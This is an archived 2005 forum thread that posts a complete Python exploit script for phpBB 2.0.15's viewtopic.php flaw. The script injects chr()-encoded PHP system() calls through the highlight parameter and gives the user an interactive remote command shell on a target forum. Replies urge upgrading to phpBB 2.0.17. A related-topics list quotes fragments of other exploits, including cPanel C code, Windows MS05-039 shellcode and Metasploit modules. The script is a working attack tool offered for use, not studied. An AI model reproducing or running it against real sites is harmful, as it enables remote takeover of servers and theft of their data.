Jul 26, 2008

[exploit] Phpbb 2.0.15 "viewtopic.php" - Remote PHP Code Execution Exploit
Free Web Hosting, No Ads > CONTRIBUTE > Computers > Computer Security Issues & Exploits

free web hosting

[exploit] Phpbb 2.0.15 "viewtopic.php" - Remote PHP Code Execution Exploit

RemoteConnection
Sep 1 2005, 10:50 AM
phpBB 2.0.15 "viewtopic.php" Remote PHP Code Execution Exploit


CODE

#!/usr/bin/pyth0n

print "\nphpBB 2.0.15 arbitrary command execution eXploit"
print " 2005 by rattle@awarenetwork.org"
print " well, just because there is none."

import sys
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG = '</g0>'

def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))


_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"


def usage():
print """Usage: %s <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)


if __name__ == '__main__':

if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()

if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''

url = urlunparse(url)
if url[-1] != '/': url += '/'

topic = quote_plus((sys.argv[2]))

while 1:

try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]

if (cmd == "exit"): break
else: cmd = makecmd(cmd)

out = _ex % (url,topic,cmd)

try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass

else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;

print "EXPLOIT FAILED"

except:
continue


Notice from cmatcmextra:
Codebox tags used instead of code tags

 

 

 


Reply

Dragonfly
Sep 1 2005, 05:00 PM
YOu could give secutiry updates link of phpbb dot com homepage. Not only phpbb 2.0.15 has security exploits even 2.0.16 also has one or more problem and phpbb has already released 2.0.17 sometime ago fixing all the exploits found so far and have advised all the software users to upgrade their forums/boards as soon as possible.

I was updating one of the boards from 2.0.10 to 2.0.17 it took more than 2 hours to finish all the updates and now I can sleep peacefully.

Those who haven't updated their boards can look for upgrade mods which is good for those who installed many mods in their boards. Look out for those mods from phpbb dot come homepage.

Reply

Saint_Michael
Sep 2 2005, 09:55 AM
its amazing i don't know whos coming out with more bugs ipb or phpbb, but yeah you let those at phpbb know about this as well.

Reply

sunny
Sep 2 2005, 01:16 PM
As with all other software and scripts, PHPbb also has a long history of vulnerabilities. But it is better than others because of quick developer community reponce towards new found security loopholes.

PHPbb issues are fixed generally very less time then other systems. and that is why I like PHPbb.

For the user, it is always a good practice to bookmark the PHPbb homepage to get the update news at time.

Reply


Got an Opinion! Express your Views! (no registration):-
Add your Reply/ Opinion/ Views/ Comments/ Suggestion/ Questions/ Queries etc.
Posts with decent grammar & English will be accepted and please refrain from profanities.
For asking a Question, We recommend you to sign-up (for free) so that you can track the topic easily.

Nature of your Post*: Opinion/ Reply/ Comments
Question/Query
Feedback to us.
       
Name   Email
Title/Question*

(Maximum characters: 10,000)
You have characters left.
Confirm Code:

Similar Topics

Keywords : exploit phpbb 15 viewtopic php remote php code execution exploit

  1. Hackers Hijack A Half-million Sites: Phpbb Forum Users Must Read - (8)
  2. Mozilla: Firefox Plugin Shipped With Malicious Code - (3)
    This piece of news only affect Vietnamese users as the Vietnam language package was infected with
    malware trojan called e Xorer, and so if you downloaded this language pack in the last few weeks run
    a scan and the trojan should be picked up. Although this trojan is only a couple of months old and
    so I don't think everyone has something for it, but check at your vendors website and see if
    they have a solution for it. As for the cause of this infected plugin, they assume the authors
    computer was infected at the time when they upload this plugin to the mozilla website...
  3. Cpanel Exploit - security hole in cPanel to hack the servers of a hosting company (8)
    A pair days ago I read this new on Slashdot: cPanel Exploit Used to Circulate IE Exploit
    QUOTE "In a dangerous combination of unpatched exploits, hackers have used a previously
    undiscovered security hole in cPanel to hack the servers of a hosting company and use hundreds of
    hijacked sites to infect Internet Explorer users with malware using the unpatched VML exploit.
    cPanel, whose hosting automation software is used by many large hosting companies, has issued a fix.
    It's a local exploit, meaning the attacker must control a cPanel account on the target hosti...
  4. Is There An Exploit In Vista Home Premium To Make Firefox Permanant Default Browser? - (4)
    I just got a new laptop, and of course it's loaded with vista. Everything works awesomly!
    (my last PC was from 2001, BIG DIFF.) But the damned thing compulsivly and automatically sets
    Internet Explorer to my default browser and won't let me change certain things which browsers
    will typically handle. 've manually changed it so Firefox handles all the stuff except HTTPS
    and what not (CANNOT CHANGE W/O HACK!), but IE just bumps in every time I want to click a link
    from a non-browser based file /sad.gif" style="vertical-align:middle" emoid=":(" border="...
  5. Quicktime Zero Day Exploit News And Updates - (1)
    On monday it was reported that Quicktime 7.2 and 7.3 versions come with a new exploit in which
    malware could on to a person's computer through streaming videos. They only mention that XP and
    Vista are the only affect systems and no word came about on the Mac operating system. They mention
    that a buffer overflow bug was made in which it "contains a stack buffer overflow vulnerability in
    the way Quicktime handles the RTSP Content-Type header." For those who don't know what RTSP is,
    RTSP is the Real-Time Streaming Protocol which apple uses for its QuickTime softw...
  6. Phpbb Hackers - LOL (21)
    I got an email today: The following is an email sent to you by an administrator of "KORUPTION OWNZ
    YOUR S****Y SITE". If this message is spam, contains abusive or other comments you find offensive
    please contact the webmaster of the board at the following address: korupted@korupted.com Include
    this full email (particularly the headers). Message sent to you follows:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Dear members. Your petty website has been hacked. The hacker's
    name is Koruption. Next time dont use a outdated verison of phpbb b***hes So im a bit pissed off
    and chec...
  7. Javascript Botnet Code Leaked To Internet - Big time warning (1)
    Well lets start off by saying these 2 people are complete morons. The first guy who had this thing
    loaded up on the internet so it could be shown on how it works and not securing it so it
    couldn't be downloaded. Does a home server ring a bell? guess not. second guy for downloading
    it and then uploading it to his site with the excuse that "he thought it would be useful to other
    security professionals looking for ways to illustrate just how dangerous a scripting attack can be."
    Now this code has been found on several websites and now could be use to hijack web brow...
  8. Javascript Postamble(); What Is It? - when viewing a web source code it appears (5)
    I was paranoid! After all that cleaning my computer from spyware I realized the following codes
    were showing up constantly (everywhere I go) when I viewed a page source. Just before ends HTML
    <script language=' javascript ' src='
    http://127.0.0.1:****/js.cgi?pca&r=***** '> /script > And after HTML
    <script language=' javascript '>postamble(); /script > WHAT DA HECK IS IT??
    It looks like some java script was calling from within my computer and *'s were changing
    constantly with each time I refreshe...
  9. Zero-day Firefox Exploit - (5)
    Link to Article: http://news.com.com/Hackers+claim+zero-day..._3-6121608.html Thought this was
    interesting. Really caught me offgaurd, didn't expect such a huge flaw on a GPL based program.
    Whats even more scary is they said they have about 30 other flaws found......
  10. Microsoft Windows Dhcp Client Service Remote Code Execution Vulnerability - (0)
    What it is A exploit in the buggy OS of XP has been found, this one concering DHCP. OS effected
    Microsoft Windows 2000 Advanced Server Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows
    2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced
    Server SP4 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Datacenter Server SP1
    Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP3 Microsoft
    Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Professional Microsof...
  11. Teenager Claims To Find Code Flaw In Gmail - (23)
    QUOTE A teenage blogger claims to have discovered a flaw in Google's Gmail service that
    allows JavaScript to run, potentially allowing a malicious hacker to gather e-mail addresses or
    compromise an account. The supposed flaw may already have been fixed, however. Advertisement: The
    teenager identifies himself in his blog as a 14-year-old named Anthony. His entry about Gmail is
    here. He wrote that he was trying to e-mail JavaScript code from a Yahoo account to a G-mail
    account. The code will run in a preview pane, he wrote. But if the code is mailed from one Gma...
  12. Attention All Ipb Users/admin - Important exploit discovered! (6)
    Invision Power Board v2.1.6 © 2006 IPS, Inc. This is what it is written on the bottom of the
    board. Not so long ago, i was surfing somewhere, (i wont say where) and i discovered a "sql
    injection"exploit, a perl script. QUOTE(step28 in the hack) 28. Reload and click on the
    username to the admin. You are now logged in as an ADMIN!!! Admins, pm to receive
    the link where i found this. with this hack, you can log in with any user without his pass.
    It's really easy to do, you just need PERL, Opera webbrowser and 3 minutes fo your life... ...
  13. Windows Xp Pro Exploit: Permission Setup Allows Access To Task Manager During Login - even if permissions deny this abiltity. (1)
    A friend of mine was temporarily banned from the computers at my school a while ago after he
    accidentially found a way into Task Manager, which is disabled on our network. He has had his
    permissions restored now, but has no idea why he got banned in the first place. However, recently he
    explained what he did to me, and I tested it. I soon found out that, by accident, we had both
    discovered that there is a Security Exploit in networking Windows XP Professional. The exploit is
    to do with network permissions. Windows XP recieves the permission data from the network as soon...
  14. Firefox Exploit - (0)
    QUOTE Earlier this week, I blogged about a site doing a bunch of different exploits, depending
    on what you are running. One of the things the site will do is detect if you have Firefox, and
    attempt to exploit it, using the InstallVersion.compareTo() vulnerability. Read More with
    images Already found to be copying and pasting. Take this time to review our forum rules. Warning.
    ...
  15. Serious Wmf Windows Exploit - No-one is safe right now (16)
    This has blown up big time in the last 3 days: http://www.f-secure.com/weblog/ ...
  16. Phpbb 2.0.18 - Released on the 31st (12)
    To anyone out there using phpBB, the next release has been sent out. Report:
    http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=336756 Download:
    http://www.phpbb.com/downloads.php Additional Download for the Changed Files Only:
    http://www.phpbb.com/files/releases/change...8_repackage.zip I found an error! One of the
    reports was made by myself. Even though it was not a bug, it was about the cosmetic display on the
    index page concerning the subSilver template. As people may have noticed, the ''Mark all
    forums read'' is displayed before you even...
  17. Latest Ie Exploit - does anyone still use this browser? (10)
    For Internet Explorer users, please note that there is a new exploit in the wild that is capable of
    compromising a fully patched and updated WinXP machine:
    http://www.eweek.com/article2/0,1759,18917...3119TX1K0000594 Microsoft has not released a fix yet.
    From the article: QUOTE IE users should immediately disable Active Scripting via the Tools >
    Internet Options > Security tab > Custom Level feature. Firefox and other alternative web
    browsers are not affected. You would have to be tricked into going to a malicious website to have
    any chance of being affecte...
  18. [exploit] Cpanel Versions Below And Equal To 9x - (7)
    Exploit for cPanel versions below and equal to 9x that takes advantage of a remote command execution
    vulnerability. /* cPanel */ //headers #include //In/Out #include //sockets functions
    #include //memory functions #include //strlen,strcat,strcpy #pragma comment(lib,"ws2_32.lib")
    //for compile with dev-c++ link to "libws2_32.lib" #define Port 2082 //port for connect to cPanel
    #define SIZE 1024 //buffer size to receive the data /*connect host:port*/ SOCKET Conecta(char
    *Host, short puerto) { /*struct for make the socket*/ WSADATA wsaData; SOCKET Winsock;//l...
  19. Online Scams Exploit Katrina Disaster - (10)
    In the wake of hurricane Katrina, several online scams have begun to circulate the Internet,
    according to several security firms. Sophos warned users on Thursday not to open a malware-Infected
    e-mail posing as news on the disaster. Possible subject lines of the e-mail could be QUOTE
    "Re: g8 Tropical storm flooded New Orleans", "Re: g7 80 percent of our city underwater", and "Re:
    q1 Katrina killed as many as 80 people". The group said there could be additional variants.
    BetaNews on Thursday morning had received a variant of the above e-mails, however it app...
  20. [exploit] Microsoft Windows 2000 Plug And Play - (1)
    Microsoft Windows 2000 Plug and Play Universal Remote Exploit #2 (MS05-039) /*
    HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2 * * Copyright © 2005 houseofdabus. * * (MS05-039)
    Microsoft Windows Plug-and-Play Service Remote Overflow * Universal Exploit + no crash shellcode * *
    .:: ::. * * --------------------------------------------------------------------- * Description: * A
    remote code execution and local elevation of privilege * vulnerability exists in Plug and Play that
    could allow an * attacker who successfully exploited this vulnerability to take * complete con...
  21. [exploit] Phpbb <=2.0.12 Vulnerability. - How to be Admin on phpBB in Simple steps (2)
    Another vulnerability in PHPbb based forums that can be used to easily gain any user level access to
    the forum. Even the admin account is not not secure with the default setup. Click Here for more
    details about -"How to be Admin on phpBB in Simple steps!" And here is the Homepage of
    PHPbb and click here to download the latest version....
  22. [exploit] Microsoft Server Message Block - (SMB) Remote Exploit (MS05-011) (0)
    Microsoft Server Message Block (SMB) Remote Exploit (MS05-011) /* * Windows SMB Client
    Transaction Response Handling * * MS05-011 * CAN-2005-0045 * * This works against Win2k * *
    cybertronic gmx net * http://www.livejournal.com/users/cybertronic/ * * usage: * gcc -o mssmb_poc
    mssmb_poc.c * ./mssmb_poc * * connect via \\ip * and hit the netbios folder! * *
    ***STOP: 0x00000050 (0xF115B000,0x00000001,0xFAF24690, * 0x00000000) * PAGE_FAULT_IN_NONPAGED_AREA *
    * The Client reboots immediately * * Technical Details: * ----------------- * * The driver MRXSMB.S...
  23. [exploit] Microsoft Internet Explorer Com Objects - File Download Exploit (MS05-038) (0)
    Microsoft Internet Explorer COM Objects File Download Exploit (MS05-038)
    /*+++++++++++++++++++++++++++++++++++++++++++++++ Ms05 038 exploit POC Write By ZwelL 2005 8 11
    http://www.donews.net/zwell zwell@sohu.com Some code belongs to Lion(cnhonker), regards to him.
    This code tested on Windows 2003 -----------------------------------------------*/ #include
    #include #pragma comment(lib, "ws2_32") // Use for find the ASM code #define PROC_BEGIN __asm
    _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm _emit 0x90\ __asm _emit 0x90 __asm
    _emit 0x90\...
  24. [exploit] Microsoft Windows 2000 Plug And Play - Universal Exploit (0)
    Microsoft Windows 2000 Plug and Play Universal Remote Exploit (MS05-039) /* Windows 2000
    universal exploit for MS05-039 -\x6d\x35\x6c\x30\x6e\x6e\x79- */
    #include #include #include #include #include #include #include #pragma comment(lib,
    "mpr") #pragma comment(lib, "Rpcrt4") BYTE Data1 =
    {0x11,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,
    0x52,0x00,0x4F,0x00,0x4F,0x00,0x54,0x00,0x5C,0x00,0x53,0x00,
    0x59,0x00,0x53,0x00,0x54,0x00,0x45,0x00,0x4D,0x00,0x5C,0x00,
    0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x00,0x0...
  25. [exploit] Microsoft Windows Remote Desktop Dos - (0)
    Microsoft Windows Remote Desktop Protocol DoS Exploit (MS05-041) // Windows XP SP2
    'rdpwd.sys' Remote Kernel DoS // // Discovered by: // Tom Ferris // tommy
    security-protocols com // // Tested on: // Microsoft Windows XP SP2 // // Usage (SPIKE) :
    ./generic_send_tcp 192.168.1.100 3389 remoteass.spk 1 0 // // 8/9/2005 Security-Protocols.com // //
    This program is free software; you can redistribute it and/or modify it under // the terms of the
    GNU General Public License version 2, 1991 as published by // the Free Software Foundation.
    s_block_start("packet_1...
  26. [exploit] Sun Solaris "printd" Daemon - Remote Arbitrary File Deletion (0)
    ## # This file is part of the Metasploit Framework and may be redistributed # according to the
    licenses defined in the Authors field below. In the # case of an unknown or missing license, this
    file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest #
    version of the Framework can always be obtained from metasploit.com. ## package
    Msf::Exploit::solaris_lpd_unlink; use base "Msf::Exploit"; use IO::Socket; use IO::Select; use
    strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'Solaris
    LPD Arbit...
  27. Ms Internet Explorer Com Objects File Dl Exploit - (1)
    another internet explorer aecurity hole! /blink.gif' border='0' style='vertical-align:middle'
    alt='blink.gif' /> here 's the exploit : http://www.milw0rm.com/id.php?id=1148 ...
  28. Microsoft Windows Plug-and-play Exploit - (0)
    wow, you can get this famous vulnerabilty exploit here: http://www.milw0rm.com/id.php?id=1149
    have fun /smile.gif' border='0' style='vertical-align:middle' alt='smile.gif' /> ...
  29. Remote Buffer Overflow Vulnerability In Yahoopops - (2)
    Hat-Squad Advisory: Remote Buffer overflow Vulnerability in YahooPOPS September 22, 2004 Product:
    YahooPOPS! Vendor URL: http://yahoopops.sourceforge.net Version: YahooPOPS v0.4 up to v0.6
    Vulnerability: Remote Buffer overflows Release Date: 27 September 2004 Vendor Status: Informed on
    24 September 2004 Response: no response Description: YahooPOPs! Is an application that provides
    POP3 access to Yahoo! Mail. It is available on the Windows, Linux, Solaris and Mac platforms.
    This application emulates a POP3 & SMTP server. It also enables popular email clie...
  30. Novell Edirectory Imonitor Remote Buffer Overflow - running on port 8008 (4)
    Here's the advisory: http://www.frsirt.com/english/advisories/2005/1403 package
    Msf::Exploit::edirectory_imonitor; use strict; use base "Msf::Exploit"; use Pex::Text; my
    $advanced = { }; my $info = { 'Name' => 'eDirectory 8.7.3 iMonitor Remote
    Stack Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' =>
    , 'Arch' => , 'OS' => , 'Priv' => 1, 'AutoOpts' => {
    'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => ,
    'RPORT' => , ...



Looking for exploit, phpbb, 2, 0, 15, viewtopic, php, remote, php, code, execution, exploit

Searching Video's for exploit, phpbb, 2, 0, 15, viewtopic, php, remote, php, code, execution, exploit
Hackers
Hijack A
Half-million
Sites: Phpbb
Forum Users
Must Read
Mozilla:
Firefox
Plugin
Shipped With
Malicious
Code
Cpanel
Exploit
security
hole in
cPanel to
hack the
servers of a
hosting
company
Is There An
Exploit In
Vista Home
Premium To
Make Firefox
Permanant
Default
Browser?
Quicktime
Zero Day
Exploit News
And Updates
Phpbb
Hackers LOL
Javascript
Botnet Code
Leaked To
Internet Big
time warning
Javascript
Postamble();
What Is It?
when viewing
a web source
code it
appears
Zero-day
Firefox
Exploit
Microsoft
Windows Dhcp
Client
Service
Remote Code
Execution
Vulnerabilit
y
Teenager
Claims To
Find Code
Flaw In
Gmail
Attention
All Ipb
Users/admin
Important
exploit
discovered&#
33;
Windows Xp
Pro Exploit:
Permission
Setup Allows
Access To
Task Manager
During Login
even if
permissions
deny this
abiltity.
Firefox
Exploit
Serious Wmf
Windows
Exploit
No-one is
safe right
now
Phpbb 2.0.18
Released on
the 31st
Latest Ie
Exploit does
anyone still
use this
browser?
[exploit]
Cpanel
Versions
Below And
Equal To 9x
Online Scams
Exploit
Katrina
Disaster
[exploit]
Microsoft
Windows 2000
Plug And
Play
[exploit]
Phpbb
<=2.0.12
Vulnerabilit
y. How to be
Admin on
phpBB in
Simple steps
[exploit]
Microsoft
Server
Message
Block (SMB)
Remote
Exploit
(MS05-011)
[exploit]
Microsoft
Internet
Explorer Com
Objects File
Download
Exploit
(MS05-038)
[exploit]
Microsoft
Windows 2000
Plug And
Play
Universal
Exploit
[exploit]
Microsoft
Windows
Remote
Desktop Dos
[exploit]
Sun Solaris
"printd
"
Daemon
Remote
Arbitrary
File
Deletion
Ms Internet
Explorer Com
Objects File
Dl Exploit
Microsoft
Windows
Plug-and-pla
y Exploit
Remote
Buffer
Overflow
Vulnerabilit
y In
Yahoopops
Novell
Edirectory
Imonitor
Remote
Buffer
Overflow
running on
port 8008
advertisement



[exploit] Phpbb 2.0.15 "viewtopic.php" - Remote PHP Code Execution Exploit



 

 

 

 

ADD REPLY / Got an Opinion! Remove these ADs! RAPID SEARCH! Free Web Hosting [X]
Express your Opinions, Thoughts or Contribute more info. to help others.
Ask your Doubts & Queries to get answers, So that "Together We can help others!" 		Register FREE for AD-FREE forum, Create your own topics, Ask Questions, track topics, setup subscriptions & notifications and Get a Free Website w/ Email and FTP.
500MB Space *No Ads*, CPanel, FTP, PHP, MySQL, EMails - 100% FREE